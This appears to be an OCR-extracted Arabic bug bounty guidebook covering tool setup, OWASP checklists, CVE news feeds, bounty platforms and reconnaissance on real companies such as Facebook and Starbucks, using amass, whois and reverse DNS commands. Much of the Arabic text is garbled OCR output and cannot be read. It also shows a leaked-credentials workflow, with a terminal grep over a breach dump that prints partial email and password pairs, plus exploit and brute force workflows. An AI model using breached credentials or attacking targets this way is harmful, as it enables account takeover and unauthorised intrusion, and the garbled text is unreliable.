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1- getting your VPS
2- downloading kali to a VM
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3- installing all of your tools
4- buying all of your API keys

CHAPTER 2: PRE-GAME - ORGANIZATION
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https://github.com/tanprathan/OWASP-Testing-Checklist

Consi alilae il ) ag) A (b ) gile Jackiii o Ll Lim a3 6 Jal ok g o 5 48 4l (50
Sy b e e g o onsd Jans il S ) 5 L 5 iienia 5]l 4dd g i gline il 4l
Gl e Lal alea 535 4uia &)
cly aaldlicheck list J) @laic Wy < gl aa el ua (e ks (Raa g
Al edigady D (55 2al s a6 o) 5o GRS () bl oaad i Jat Juadi (S (3 5b =)
sl e 10 agle Ly chiall s sl o e G Jern Glle OIS Gl e 4dis (B 5 s
12 &2l Ja
DAS8l 4 5 583 (e IS8 4 S lile Wl 4dls Uy ) (o pdal) gleall Gl (& Tas dage dala (LS

“Your mind is for having ideas not holding them”
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' OWASP: Testing Guide v4 Checklist

; Information Gathering Test Name Description Tools Result  Ren
5 OTGINFO-001 mmwnmmmmmu ch for Network dagrams and 0

6 OTG-INFO-002 Fingerprint Web Server

7 OTG-INFO-003 Review Webserver Metafiles for Information Leakage

§  OTG-INFO-004 Enumerate Applications on Webserver

non-
Review Webpage Comments and Metadata for Information 7
Leakage

10 OTGNFO-006 Identiy application entry points
11 OTGNFO-007 Map execution paths through appiication

5 OTG-INFO-005

2 OTG-INFO-008 Fingerprint Web Application Framework
13 OTG-INFO-009 Fingerprint Web Application
4 OTG-INFO-010 Map Application Architecture
Configuration and
6 Deploy Management Test Name Description Tools Result  Ren
Testing
17 OTG-CONFIG-001 Test Network/Infrastructure Configuration ot

+ B Testing Checklist * ~ Summary Findings ~ Risk Assessment Calculator ~
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Get Started
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CHAPTER 3: PRE-GAME - KNOWLEDGE BASE
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NIST:
The National Institute of Standards and Technology (NIST)

Q Search Results (refine search) Sort peswits bys| PubliciDute Descanding 3

Search Parameters: There are 124,577 matching records. . 2l3!la
Displaying matches 1 through 20.

« Results Type: Overview

« Search Type: Search All

Vuln ID ¥ Summary © CVSS Severity o

CVE-2019-17611 HongCMS 3.0.0 has XSS via the install/index.php tableprefix parameter. (not available
Published: October 16, 2019; 06:15:10 PM -04:00

CVE-2019-17610 HongCMS 3.0.0 has XSS via the install/index.php dbpassword parameter.
Published: October 16, 2019; 06:15:10 PM -04:00

CVE-2019-17609 HongCMS 3.0.0 has XSS via the install/index.php dbusername parameter. not available

Published: October 16, 2019; 06:15:10 PM -04:00
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Twitter :
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#bugbountytips

gliax 1 @l yingi Sle

Catalin Cimpanu @ campuscod) - Oct &
Zero-day published for old Joomla CMS versions

-PoC available

~trivial to exploit

-impacts 3.x to 3.4.6

-PHP object injection leading to RCE

-no CVE yet

-similar to CVE-2015-85862, but not PHP environment-tethered

ranet.comyjarticie/zerc
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Figure 6: Twitter post of a Joomla CVE with POC
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Dashboard

Z A ache S Null character at fnmatch Potential command injection in Reflected cross-site scripting

Teams Null chir ik "Shell#[]" and "Shell#test’ on multiple Starbucks assets.
Null character at fnmatch

Saved web pages Potential command injection in “Shell#{] Reflected cross-site scripting on multiple
Stars and 'Sheli#test Starbucks assets.

™ Subscriptions

> Sclence & Space 138
> Software Engineering 4
> Tech News 1000+
[ PortSwigger Web Security Blog
Attify Mobile Security

2
8
SensePost 1
4
2

Trail of Bits Blog o iacker Ac ® 3 tacearOna Hacs: 0 i A o
“ Blog - Rhino Security Labs
Irinetsec - Information Securi.., 227
Reverse Engineering 8 [Brave browser] WebTorrent XSS on Desktop Client Worker container escape lead
Threatpost | The first stop for... 108 has DNS rebinding vulnerability to arbitrary file reading in host

XSS on Desktop Client

> Bug Bounty 268 [Brave browser] WebTorrent has DNS machine

rebinding vuinerability Worker container escape lead to arbitrary

file reading in host machine

Add content
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Hackerone Hacktivity

o G9! 21d) yuaa laghacktivity (& Jim iz 8ale 99)Slg) @ygny a18iy Lalhttp://rss.ricterz.me/hacktivity
o al S8y Gulill g glile ¢



Name

Hackerone
Hacktivity

Hackerone
Blog

NIST CVE
ALL

NIST CVE
Analyzed

Bug Bounty
Writeups
Port
Swigger

Reddit
Netsec

Threat Post
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Website

http://rss.ricterz.me/hacktivity

https://medium.com/feed/tag/hac
kerone

https://nvd.nist.gov/feeds/xm
1/cve/misc/nvd-rss.xml

h ://nvd.nist. fi Xm
1 misc/nvd-rss-
nalvzed.xml
https://medium.com/feed /bu

gbountywriteup
http://blog.portswigger.net/fe

eds/posts/default

http://www.reddit.com/r/net
sec/.rss

http://threatpost.com /feed

Description

When you submit a bug bounty
report it can end up on the
hacktivity feed. These are great
resources to see what people are
actively finding

Hackerones blog can be a great
resource for new information
relevant to the bug bounty field.
NIST has a repository of CVEs and
this feed will alert you to any new
ones. You should be checking this
every day.

NIST has a repository of CVEs and
this feed will alert you to any new
ones. You should be checking this
every day.

This is a feed of bug bounty write
ups.

This team is constantly producing
high quality blogs. They are the
creator of Burp Suite and you
defiantly want to be following
them.

Reddit needs no introduction. This
is one of the best places to get info
Sec news.

This feed is about cyber security
news and events.

Sl e el sapazeve asd ol Joby Jol oy I3l e plis 85 bl ol dunsS atnyh o 6

SOCIAL MEDIA :

Tweetdeck

https://tweetdeck.twitter.com/

ol gActive U1 Gl gl Lisy
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Laarg oy ab:zo


https://tweetdeck.twitter.com/
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<« C @& tweetdeck.twitter.com * O M v
() #bugbountytip - =| Bugbounty_users > Q)  cvepoc
9 bugbountytip Elliot Alderson Sean Harris
play.google.com/store/apps/det Stop saying « This is only the Delhi Recently, we caught a new unknown
subdomain ». The subdomain and exploit for Chrome browser. We
#bugbountytip Let's hacking together everywhere !!! the main domain are on the same promptly reported this to the Google.

server 104.18.130.37. This is bad, After reviewing of the PoC we

face it provided, the company confirmed

Bugbounty_users there was a zero-day vulnerability
and asstgmm it CVE 2019-13720.

cve poc ” Tragger Osbourne e o e P BMBo4a7X via
S #8uoBounty #buabountytis DInfoS

Elliot Alderson
| can smell a stored XSS

~ #bugbountytips

xerOdayz
#cve Collect all L

infosec

Add column

o e / Shah Sheikh K
n/watch?v=mch8ht Show this thread Chrome 0-day exploit CVE-2019-

13720 used in Ogeranon

Reddit
https://www.reddit.com/r/netsec/

dleliy bl ¢ Lghni LUl alslal g

others

liSag domud le gilas qualnl Gusigadin Qgy>g ahaaddl @bgys> Alia &)
https://www.facebook.com/eroups/pentestingsarabs

CHAPTER 4: BUG BOUNTY 101PICKING THE PLATFORM
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SIGN IN | SIGN UP

I‘Iac ke rone FORBUSINESS FORHACKERS HACKTIVITY COMPANY  TRYHACKERONE
Directory Search Directory
Find new hackable targets or contact information to report vulnerabilities you've already found.
Program features
Launch Reports Bounties Bounties
IBB Program
Offers bounties
RIS L. TopEchelon Software 10/2019 11
Managed by HackerOne
Active program
: Coda Managed 1072019 23 $50 $150
Asset type
o ADDoCS 10/2019 1
0 Any
CIDR
e 0 JNJ Mobile 1012013 4
i05: App Store
105: Testflight o Tumblr 10/2019 75 - $100
i05: ipa

I‘I d Cke rone FORBUSINESS ~FORHACKERS  HACKTIVITY ~ COMPANY  TRYH!

Rewards
@ Critical (9.0 - 10.0) & High(7.0-8.9) ® Medium (4.0 - 6.9) Low (0.1-3.9)
$1,500 $750 $300 $150

Our rewards are based on severity per CVSS (the Common Vulnerability Scoring Standard). Please note these are general

guidelines, and that reward decisions are up to the discretion of Coda.

View changes

Policy

Coda looks forward to working with the security community to find vulnerabilities in order to keep our businesses and

customers safe.
Response Targets

Coda will make a best effort to meet the following response targets for hackers participating in our program:

* Time to first response (from report submit) - 2 business days
» Time to triage (from report submit) - 2 business days

iy sugld gauy eilaiall JS i ol el 35 way laseBugCrowd e ddniy aMS jusig
it 5953 oSea 99 SUlgswag Ladle cllgay asls gld 2y Gigan 6 a8y (§ wilgi §San
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PICKING THE RIGHT TARGET
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CHAPTER 5: METHODOLOGY - WORKFLOWS
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CESINAY
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CIDR:

9l pan wolRICIDR | paic l9igSy paily 19 X lgdde Jlod goSia Ul ashiall pxs Sle cliy
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orgll TP addresses Jl poRange (i ojlic (48 lgic 6)84 LS simo gJDomain Routing
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8.244.131.0/24

1S e Jlia ls

1P:

li> dage aal> 539 glSun ciygy paele Jawi clil plixialPs Jl galist luic 95, Lal Loy 84l
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élely o8l
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¢luginScan dlasi jSaa gIThird Party scanners @§iyb (epassive |s M)l Jasni j183

Ol lglamy iy digma Gui)li a8 uothird parties aasiwy covg dil 8yl dg>g go il
Ao rme gy le dndiy

ASN) autonomous system number) Jlggeo location I suai Tad ¢lil dung$ 63%4g
0485 LideSSRE 63 Mia dizma wilyod dud ol gag paldg ke Lula G845 ldide by Jliag
8yohs dalyy Gimy 148y élidyma GAWS le 839390 Min glhost I ole oz lgloiws

8laT %9 JaSo ells iy i gy alslall @ plSiiag &yl

Web Applications :
{iigips lgsd SUllist Jlgsubdomains I Lgié SUIList ssli clil ag (j9Sayll (& dlsyo yslg Lia
pale J34i

fingerprinting Jaxig

li> i dago aghs sagendpoint JS (& Lasle Igloiing Ul >oleisill o ail pald 18,5 P)X
aily2ill Ul_c Jaaxli & faci elil J $359

WordPress  Mio glg lgaasiun gdgall Ul LingleisSill o @l cdye el o) Jlall Jw ole
(4 4945 e Lia uSTaApache Structs page cidguit gJWordPress lIScanner Jo.iia 181 G
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—> Domains —> Github Dork —

Company — = Github Repo Sensitive Info

Company Github

—» Company Github —» Employees

GitHub Workflow :

dbluw dil gag acliy g0l UQ L@anmu.m cb’>X| J..éé\ oo Lail QLS LalS yai dgsg oo
S 6\)‘ A yuia Ugﬁ_! US.AA RENEN 6| U.CGltHub Jl UQ )94

Jl le Laody Lo sy lgdisy uigereds hbls 5950 Saadeveloper Jl uaproject yighi clil
@orwagodfather gl alinhl g elil il (o Uil 1y el 4855 (g LinlegGitHub -

https://orwaatyat. medium.com/your-full-map-to-github-recon-and-leaks-exposure-
860c37ca2c82
elo gauell g Llaamyg

@th3g3ntlaman
https://www.youtube.com/watch?v=I0YsEk 59fQ

Cloud Workflow :

o paiclyy il aisl) ddlanal Jaoy lgagsy Laiagcloud I aassy Lgitlac samy U1 alSyddl o s @

infrastructure douwl 6_I.h.cm_ll

Slg dossdl yuai 381 lgagéy Josproviders Il JS aoyue ¢.8 gDigital ocean gGoogle Cloud gAWS ;)
839290 9950 axl> JS elelyVPS Il 9o woy by Jlio cliclijinfrastructure Jl adlaiwly Igag8) pgil

Cloud JI Jle adlaius y9di aule
ole 9950y Jania Lidgls LuiranyWorkflow JI sl ciagd clil jpgy2allGithub gl gg9Sayl idgls cub

§ bl acloud Service I
99 Ul bl 93508 Jaming cilalall (sl olSe e o)lic o983 buckets e @lSil JoXl § Lils

cloud storage

syhs wlels Jaxilgil Gubil) xawigpublic U asgian gsbuckets JI s Gidgls aalSypill ey dud cub
AWS U.Lc G YO0 o Lid 9.\15.”9

misconfiguration JI juéi paleos Joxy jSasCloud Il il yd JS


https://orwaatyat.medium.com/your-full-map-to-github-recon-and-leaks-exposure-860c37ca2c82
https://orwaatyat.medium.com/your-full-map-to-github-recon-and-leaks-exposure-860c37ca2c82
https://www.youtube.com/watch?v=l0YsEk_59fQ
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Bucket Name Brute
Force

Sensitive Data

Company > Domains >

Google Dork to find
Buckets

Google Dork Workflow

google hacking database (GHDB s _ili xlhuaa 1183 39290 glaSg la> oloj (o 39290 isSygs S92 Ui
& g909all (§ Ganii Lol 31| 0gaiagOSINT JI lirle (jlaS g calyd gdsly ojliale Iy ol @ y>o plasiwl ain)
Lleo JoS

Y

Sensitive Data

h

Company > Domains Google Dorks

e yisl dic plSuiaCreds  (laSgRCE J Jogy 318 g5 oSl wslo gsWorkflow JI @_:))9 ac olaS

LEAKED CREDENTIALS WORKFLOW

alily gl oy s geSua aSpill Qs alily @l ol aSypid) ypd ey gl ¥igu als ¢l ol Laaadly Wgyall (o
oy & Lgaly Lgiclu ¢lyue ddguiny 4> Ginmbine ol alds cil guexcel ala ol is glpdf ol yo0 clgun
dlsicreds cund oSas oSl aule Jonia il Gl ol gl CoSuudl § i bs M8 ol o (Saa cusb
Leaked Credentials 0 Jlel aghsl ciliog 148 Layig Jound 148 12y

Company Emails Database Leak User credentials

Gl acliy Jos Al Juseasi aalila) Jiogi eyad il (oals & agal glg § R g 3 cablusdl aalily s @i Jo
ety acln sl &l § 23 g3l pualyl pasigaa Lo g3 s
https://www.youtube.com/watch?v=MUN1CaC-wPE
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alex@alex-PowerEdge-R710:/storage/databaseZip$ cat Linkedin.txt | grep "@example.com"
mil" example.com:tes]”

VO i@example.com:go

mi y@example.com:mil

jo.  2xample.com:repl

he  2r@example.com:butter]

ma ta_99@example.com:069¢

ka  _tutar_el@example.com:21}
ma  ano@example.com.br:2457mi
Ke  thADouglas@example.com:1
yo, ick@example.com:wcxd

Dr sky@example.com: 1135

su nalel43@example.com: farg
ce i.07@examp1e.com:250y

in  2xample.com:heslohes

tn  cample.com:PAssw{

ha >88@example.com:1234

Re.  3@example.com:Rebeka

re. Jas@example.com:nauyc..

[ Exploit Workflows |

NEW CVE WORKFLOW

0 g 38l JSuilly s yiniio yire a8l Gimy a9y JS Jaxiy yize dboluwy LgiX QLSI cslal dlade asyyb 639
603>RCE - 8Mia Mo agy JS iy

Yy

New CVE Working POC » Fingerprint Targets » Exploit

oS aleo wwdi Lgil QLS wslo JI8 Lo 639RCE 9SQL injection &) aulle ayghs @ild hyd Lle youi Lo el

!
o5 §licé oy Lasic oSyl glblue team JI 8 s Lagaly GUI Gulill Jilgl o (955 a3 118 Jié Lilgd Lo g3
patch L Josi Lo 8 acpusy oy Syl § 039350 o o) ey

Known Exploit/Misconfiguration Workflow

90 Ulg 11 118 asgymall cxhaill e s il o g L8 ySall pules ebusye JS LUl il o oylae g
28 @linlé el @ ade 3841 G glg dliclnGame Jl (8 (5950 1y ol pgo & Med

Search for known
CVE

Company Domains Fingerprint

> IPs
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Lill slio gJIPs gldomains IgilS elgu ¢leliy comylill asmyli SUlassets Ufingerprint Jasi ¢lil abluwy 9o SUlg
Apache struts le Joiin deliy e,
ale Jos SOl odisrandl GgaidgApache Jlaled (§ y9ai Jolxi (pgyaall il Lia

3 yuPOCs Lad J9anaCVEs e youmy it Liv el ellly 15

4iMall CVE JPatch JI Jac cliflmisconfigurations le jg1i ¢jlaS il

118 plo 1845 03X wild ili misconfiguration Jasy (Sas

CMS WORKFLOW

381 p3Sya oedis Ll lae Lo puKnown Exploit/Misconfiguration Workflow 1l lis> ailiza s

oc logloo ¢l 4491 Lo SUlwatechs Sy adladlicontent management systems (CMS) JI le

LaSg Jsaell gliy cailadl o ol @lelgCMS I Jaudisy Lagbg iyl le sl o adlizo glgil alasizal

None ﬁ 43.6%

J

RRIBEI

WordPress
Joomla
Drupal
Shopify
Squarespace
Wix

Magento

61.4%

il ady plo 1845 03X & G 819130% I st 0308 deiy dolssiiwnl pinWordPress JI ol Lis 83k
Figure Jall ) alyed dyguir aud X 1y

Company

Domains

Fingerprint

—|—> CMS Scanners

IPs

>

Wordpress Scanner

>

Drupal Scanner

Joomla Scanner

Other

eleliy Joidl elil S dllaia ol iny 1sgCMS sy el gai Lo yai
)le o il JgCMS | by sl 381 padin g3 axlasll glaSg exasy Ll LUl yiS| pedns oygall o
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agl> S Liul glai g JoS & Ghl exi @ ‘a.liu,a) cMS I u.l_c Sy bl

OWASP Workflow
ail el dlunia yiludl axls o b 13 Gy s pM8)1 ellasi Lgilscanners Jlautomate 5 jSao Liay 9o SUlg
L il gy 5o I 3 5555 e blall 3Ll rg. s ango a3lg Lo Jogs siamc

Sl e sare olidde 158 llgdy o & el oo GiiigSie 52l g ey gudd J5139SQLE 0 wlas
bl JSiny

: 6)OWASP type vulnerabilities _le ygai el Lia g JUlg

) ) SQL injecfion

cross site request forgery (CSRF), Cross site scripting (XSS), Authentication
issues, IDOR,etc...

@igan cildgly s Il 3ilSudl ol alS Jle TS g gélgall (4 8)iS) pgudslia Lals

»lS.ularchitecture and logic flows ol bsX gégall (& Jlgile j9u5 (2 Lal dago wilsl>

n ) «| Manual Inspection of
Company » Domains > aplication > sau
B XSS
Automated Scanner OWASP
Vulnerabilities

> File Upload

— Other

s e gsall § aggay abplay el g Sl s e Lo alaliso sl Jao el L &
diun alS JS e yiniy 0960OWASP project Gl b2l

LS g3l ealyl asiganin apabially Ulgowasp top 10 e 8T bt sSao

ackiy puyosll § padlel e

BRUTE FORCE WORKFLOW

o S laigSy San iy eleliy alyvgyll cows e alas gaiy by el ol 1815 3% 138 Lo

ady=i 23R 115118 & |stechnique JI uwila Gira goale X il ydy dudg QigSuull (8 Gira |y eyl

Joed glide @ilily ¢lio Ji81y asl> slgadmin interfaces, SSH services, FTP, services,

Jsss
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Comapny » Domains > SSH
N ‘Web A_pplication
Login Page
Brute Force
IPs » Login Functionality —
> RDP ~
—> Other

Credentials List

ol (8 ool e @il il el 148 linled oy gludl lgassiwgblack hat hacker JI c.lél
JSlira yiubasa glide QgSuull (@ ail 38U ageliy oS

Section 1: Pre-Game Jl Lials 15, 18y 1389

way 3305 )19 dungs ailalhias daguds edyeq idlgy gl dungS dossa ge dud LialSil SUlg
%,jb’;HSection Ml s 1igd i)y Lal cald SUI e agyyun

90 SUlg

SECTION 2: RECONNAISSANCE
CHAPTER 6: RECONNAISSANCE PHASE 1

Ol ddlaisl (8 308 )91 aud GUlg lglawi (9300 a9l Jglg wilghsll pal (4o gag dic LialSil Lo 63
&u_v_uaﬂl_\SuLugﬁbc)MhJ.nmLle;gd_WSLu]g_\omuL‘lgonobuﬁgubmosﬂ_\d
ali8 pgdyeia axls 138 (& 03 wnyd clusi J

api.example.com

test.example.com »

doc.example.com

app.example.com
stage.one.example.com

one.example.com

v

example.ru  example.it example-app.com example.com  myexample.com
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oxpatrik Go a9 o9Sayll adac aludd adyyb Ladl gl wlid)l wslo Lgl) Y

ooy 393209 88 y9na 4sé ol guduiy 8 )98l (30

09583 Saa Lo SUlg aSyidl @i JUIAssets Il S s elil jag oySall Lia s 88X gl
sl juail asulidomains glCIDR ranges 9|acqulslt10ns

el el 8 lgablang Loy agubtlio agis el LUl alizagall go Jolel Lay elidl: eyl Lils

aiplis] el QU1 peagal

ayhaga.com J awlilsubdomains | cusi (Sas el slio Al
ayhaga.org J aeildlsubdomains JI cuxi g2y adng

CIDR RANGE

0 dcgano 99 Li8GICIDR al Ligy yle el jpgydall

1P Addresses
ASN

SIPs (0 legana paal adpl @IASN 118 8 ialSSl ik acun plSaia p)SI| gud adyy

uJ.Q

AFRINIC, APNI Laa JIg(RIRS) 082 euiyiidl callaun o5 Jo> 8 pisiia $aIPs Jl dgiax
IP addresses jauasi 6o 4.04;1_1 089l a8 118 12,C, ARIN, LACNIC, and RIPE NCC

aaliza ilahial

¢l lagaidy pamyproviders Jl o 63 daasll gy a3X lab 1Sl Gu
Jl olagleall calily 81cld (e lgaleiu agil lgyady lide ago wolsdl asyyhll aanicRIRs I JS

eex wols
2o LelS 6 bl el oy Ul doss assiwd dlil gl laaslg) agin aaslg JS1 2655 elil (jSan
B2t
<« (& @ mxtoolbox.com/SuperTool.aspx?action=asn%3aequifax&run=toolpage
_" TOOLBOX"™ Upgrade Delivery Center Sy

MX Lookup

SuperTool Beta7

facebook

asn:facebook

Blacklists Diagnostics

Total amount of IPs for this ASN: 204,544

Domain Health Analyze Headers Free Monitor

As Number As Name CIDR Range
54115 Facebook Inc 163.114.128.0/24
54115 Facebook Inc 163.114.130.0/23
54115 Facebook Inc 199.201.64.0/22
54115 Facebook Inc 199.201.64.0/24
54115 Facebook Inc 199.201.66.0/23
32934 Facebook, Inc. 31.13.24.0/21
La2gad Eaceboaleloc T W YA ]

https://mxtoolbox.com/asn.aspx la 839A'U o Sao


https://mxtoolbox.com/asn.aspx
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CIDR J aMS) yuaig lgile Jomia cil SO aSyill 9nASN I éyei jusia dils o SUlg
aslellég pgu wolsliDedicated CIDR ranges | pialasiza sysall alSyull ol Lilgd Lo S)

Gub e pgicly ol8liaall lgguaiuag aayé glRackspace gIAWS lgaisiug lg>gym
o0 @l WByei jSan 63 wlagleall JAs einternet service provider (ISP) IP I
dlia adlAaiuallmachines

REVERSE WHOIS

&Syl GOl alivagall cdguini elil jag ankiall ggnassets Il L83 elil 187 Lile GlaS dbgxlo
whois database JI le hanii >9yi 53 calogleall rogs Jawiy aSyidl Lal, yisl Gasii Luls
leb payiegregisters name, address, email lgio oyuiS ailsls Jle gginiy 63 calogleallg

eold aSyidll JUldomains I JS G8Mia 6 cbill sacld (§ clisg ol 9ag Laaadl o 8188
registered by the email *.example.com @DXI i=allg (;@_,J Laiss gl Lailya gl Lalisain
S @lfyiy 4 (Slg Lgilagloa i gLidewhois guard alasiialy agiy cal§ il uasu uﬁ_lg

alhsi @lil Gimbive (po wgSw latic 1l @lSyd s ol b3S

JSlg axl> JS Gy aiplg yuS QigSan Sle Jondin (p9)ba iBighs cl ol 1S ellgdy Lo 65 89
leb cnull o adyyb o)l

lellss Lislewhois database wudly SUI piligRl jslaall o 3uiS Lo dudg

ol asali L2 g Larsliol aSyill QU alipagall cuni glide 63 @loasl aisiu i Lo Lis|
dabiall Gud

ViewddNS.inFo

Tools API Research Data

ViewDNS.info > Tools > Reverse Whois Lookup

This free tool will allow you to find domain names owned by an individual person or company. Simply enter the email address or name of the person
or company to find other domains registered using those same details. FAQ.

Registrant Name or Email Address:
facebook.com GO

Reverse Whois results for facebook.com

There are 560 domains that matched this search query.
The first 500 of these are listed below:

Domain Name Creation Date ||Registrar

1-facebook.com 2016-04-20 .GODADDY.COH, LLC

3g-facebook.com 2017-06-17 TURNCOMMERCE, INC. DBA NAMEBRIGHT.COM
3m-rsj.com | [2013-09-02 |PSI-USA, INC. DBA DOMAIN ROBOT
3ut.us [2011-05-10  |eMO INTERNET, INC. D/B/A ONAMAE.COM

§83728763471r714e4182r1d223e2~

horeply-£acebook. com 2018-07-15 IIGODADDY.COH, LLC

|TECHNOLOGIES, INC. USA

laamco-facebook.com 2017-06-21 TUCOWS DOMAINS INC.

aamco-facebook.com 2017-06-21 |[TUCOWS DOMAINS INC.

access-facebook.com 2009-05-29 GODADDY.COM, LLC

hcoount-security-£acebook.com 2018-02-16 IASCIO TECHNOLOGIES, INC. DANMARK - FILIAL AF ASCIO
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https://viewdns.info/reversewhois/

Syl J8 o Lglimunss @i GUI calizagall 8805 gLidewhois U ausili colily élliasy ¢ doasl
whois reverse Jl o8 dbluw 39 115 8)5.all S bsales) JLQ_»X| i Pl_\x_u_‘l_\

REVERSE DNS

oy il @yeia GizeDomain Name System (DNS) JI o9 ol Lol ¢lgdl &y Jids
DNS al iwy p8yeio 9l J293 Wbgub 29y @ilizog ITPs

§ o Gl al b

oy olide lgansiui (8an Ul alagleall (o nisll Lle 69ix0DNS Record | idgly
. Sal® s g

A, NS, and MX records JI yusi lgany go ¢lylivin gs cilizegall o]
lemunwﬁmolygﬁ(;@|uim\)|uao@b|

Ginig pasian 29yi Ly idgly

Qg LideReverse Mail Server gReverse Name Server gReverse IP §iyb (e
- @ligagall

pad a15lg JS (e plSiigéreverse whois I (e LialSil Lo 65

REVERSE NAME SERVER

J ldlyill gy pgil lgyasua 13848 agieliy calyd youdl clawl lgaudiam Lo WL 80l @lS il
&b econfiguration Nl Jac pin g3 alydyull. yiSl egbgall pgai glide xallip I
il dlhuaall dgsag

subdomain takeover )| ngas slia o Ll yuS dblsia ()X

“domain pointing to a Facebook name server must be owned by Facebook ” gag

oruoall dSyid dglas 598y dil p3X dlgrunall yudidy G pragall iy

alex@alex-PowerEdge-R710:~% nslookup -type=NS facebook.com
Server: 127.0.1.1

Address: 127.0.1.1#53

Non-authoritative answer:

facebook.com nameserver = b.ns.facebook.com.
facebook.com nameserver = a.ns.facebook.com.

ia 63 ale yaym puX yoling irename server JI lgio b 15 dhasila ud @il s g
‘ns1.godaddy.com”

GoDaddy nameservers J ygliuy JUI ealivagall (po Sl aud

dossiiui yiS Guli adgeneric name server | ol (e a3lé

i dale asls

&olaa gl g ygSaname server J| ol a3X dreverse name server lookup Jami glanle


https://viewdns.info/reversewhois/
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1859 @y guais lasl mlill o 38 dllaga Mg Lagle Jls el LUl dakial

@ DomainEye

b.ns.facebook.com reverse ns Ml Q Search

i Insert a name server (host) or IP to find related domains by NS record

3101 domains poiting to name server b.ns.facebook.com

Download Full Report

facebookinourcommunity.org jimskido.nl terragraph.support creativityexplored-instagram.net
facebookcanvas.nl facebookcommunitiessummit.com creativityexploredinstagram.net instagram.soy
supportfreebasics.in fbbswagstore.com instagramtogether.net instagram-wellbeing.org
instagram-safety.net instagram-kindness.org fblitho.net deveguides.org
facebookinourcommunity.net instagramkindness.net fbinourcommunity.com instagram.realty

Lid Joawia 18y sagname server I Lghai Ll @ayb e lgoastiud (Sa0 g3 doasll
i reverse name server lookups

i sole & Liofalse positives I o dagus G8MS (S0 Lloib
https://domaineye.com/

REVERSE MAIL SERVER

mx record JI g3 g5 axlall Jawi Ll (& Giludl eliiSill Gudi aasiw jass
owned by the target organization g4 ;9% el SUlresult JI 23X «alé LUl
Reverse mail server  Jaoi jLidchttps://domaineye.com assiwi gy Lo s

alex@alex-PowerEdge-R710:~% nslookup -type=MX facebook.com
Server: 127.0.1.1
Address: 127.0.1.1#53

Non-authoritative answer:
facebook.com mail exchanger = 1@ smtpin.vvv.facebook.com.

Authoritative answers can be found from:

_ EVERSE IP

o3 cilizags gl 835 LiddcReverse Ip search  Jawi ()Sa0 Lio (0CIDR ranges J élolisiul
&aIps JI Gle Lgialaswl

05009 63 dlawllglasy (jLide ageliy e )liUA Record I lgossian GSaa bl pe dud
https://domaineye.com/

s lelS 6o Liall alia UGl pslall Jasi sy ALy

DNS Record :

oudd gy alicagall gLé (ae) ga cilizagall by olide dalasial aig

Ul psidl guaid ol a8yl (uSlian pgil goyidi Lisl o)l (jSa0A, NS, or MX record I

18y |ag lgyilany (San &ale o896 plille d.ulxX\ clhsAl py dud (950 (Saa ol go paxs
do ahrgydl o U «7'954#—" o Joxl aSUl Gan 050 ddyyhay alajy dlely oSl Gl


https://domaineye.com/
https://domaineye.com/
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229 13 ylgadly cuole

dic IS5 23X 9oyl acliyphase JI (g Lisl alsa Gidigly Guy alad yisl die Jrolad § plSiia
Sl
‘intext” ga SUI o 1319 &lygs gl om0 aals (e dlalSa i8gly G

1y plly gl G98> gl caly g8l gl 1s olSall glall § ol aplgdll 8 iz crlsall el §
Syl amli Gili cilizags bguini elil (§ pasian (Sao

&« C & starbucks.com
f ’ ﬁ @ Join our email list

By clicking "GET STARTED" | agree to receive news,
Statement and Customer Service.

ABOUT US CAREER CENTER FOR BUSINESS
Our Company Working at Starbucks Office Coffee
Investor Relations College Plan Starbucks Coffee
International
Starbucks Stories Current Partners
Foodservice
Press Center Corporate Careers
Starbucks Card Corporate
Manufacturing and Sales
Distribution
Landlord Support Center
Retail Careers
Suppliers

International Careers

Q FindasStore | English

Web Accessibility | Privacy Policy | Terms of Use | Customer Service | Contact Us | Site Map

© 2019 Starbucks Coffee Company. All rights reserved.

s J8adh ol (8 Sy J>on] 2oyig il 18T
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Google

intext:"® 2019 Starbucks Coffee Company. All rights reserved.” L Q

Starbucks - Hopscotch

https://www.starbuckshopscotch.com »

... or used by anyone else. Limit one board per person. See Starbucks Rewards™ Terms of Use
for details. © 2019 Starbucks Coffee Company. All rights reserved.

People also search for X
starbucks match game  starbucks menu challenge 2019

starbucks game rigged  starbucks game 2019 summer

starbucks for life cheats starbucks matcha two 2019

Lgic Lial&iil Sl ol Gub (e pgd pilogia Kan dSydl) asliAssets wuxd 1185 1189

1S Jud

TOOLS

C lgoasiiw yass Ul aalgaXl al

& ic Lgista il 381 1S Lirde & g3 ol Lo QLS y31 s e Laie alSa elul S|

lolea JSLira @l Jhlinag

https://github.com/OWASP/Amass

Lgiui 1185 i a9
https://github.com/OWASP/Amass/blob/master/doc/install.md

§ 818, anhhiall giAssets lgud aayld LuxIASN I Gayb (e Lidgd Lo s Lidl 454l

ASNs )l Lgd galist I éllso Liag 138 L

S ¢l pauxio

amass intel -org <company name here>

alex@alex-PowerEdge-R710:~/tools$ amass intel -org facebook
32934, FACEBOOK - Facebook

FACEBOOK-CORP - Facebook Inc

63293, FACEBOOK-OFFNET - Facebook

54115,

Jlgila 1y pMSH Jasi jole g aiili asls o
https://bgp.henet

SCIDR range JI ,8\5 gBIASNs (alist ¢llea idgly cub

whois -h whoisradb.net - i origin <ASN Number Here>' | grep -Eo "([o-

9.]+){4}/[o-9]+" | sort -u


https://github.com/OWASP/Amass
https://github.com/OWASP/Amass/blob/master/doc/install.md
https://bgp.he.net/
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ssbash command JI alasial Gayb e

alex@alex-PowerEdge-R710:~/tools$ whois =h whois.radb.net == '=i origin AS32934' | grep =Eo "([@-9.]1+){4}/[0-9]+" | sort -u
1082.132.96.8/20
182.132.96.8/24
102.132.97.8/24

Iy g909all $AmMaSS aisiwd Ady yA8T
domains JI Cux3ASNs Il alasiwl 1
domains )l Lux3CIDRs Jl alssinly 2

domains I (ux3ASNs I alasiuly 1

1y silogS)l Lol el gayb o

amass intel -asn <ASN Number Here>

alex@alex-PowerEdge-R710:~/tools$ amass intel -asn 32934

SUl @lizagall 835 gLidlereverse TP searches Jl alisial §ayb (e Lo Jasy Ul e
ASN giyb e dlois
: o8 Lo 63 auilidl asll

domains JI LuxiCIDRs I alasiwb2-

alex@alex-PowerEdge-R710:~/tools$ amass intel -cidr 31.13.66.0/24

REVERSE WHOIS

Reverse Whois| SAMASS AASTLaLid
amass intel -whois -d <Domain Name Here>

alex@alex-PowerEdge-R710:~/tools$ amass intel -whois -d facebook.com
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lgossins (San Ul @lga2l Ladl o ol 18) g8 si00Amass sl eyl
Assets discovery Jl cj> 4

118 2yl (§ wasli Lulxd (980l (8 3> Jol Luals a8

